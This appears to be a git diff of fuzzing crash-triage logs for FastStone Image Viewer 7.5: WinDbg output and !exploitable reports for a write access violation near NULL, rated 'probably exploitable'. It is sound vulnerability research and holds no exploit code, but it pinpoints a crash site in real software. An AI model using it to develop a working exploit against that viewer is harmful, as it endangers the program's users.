00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF38: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF38: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f38.f58): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e37b19 edx=00000000 esi=00000000 edi=0f694fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.161401200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.13732e+037 7.1048e+017 6.32737e-008 2.50983e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003f0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003f0000 1aeffeb9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003f0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9a6bd65 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..362623d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..336c0fe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1864: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1864: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1864.1fcc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ff7b19 edx=00000000 esi=00000000 edi=0fd18fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.791712547591701600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.40581e-007 -1.71109e-007 4.44117e-038 1.18406e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080d8130 08055930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ea000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ea000 a25c3694 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ea000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..336c0fe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1864: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1864: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 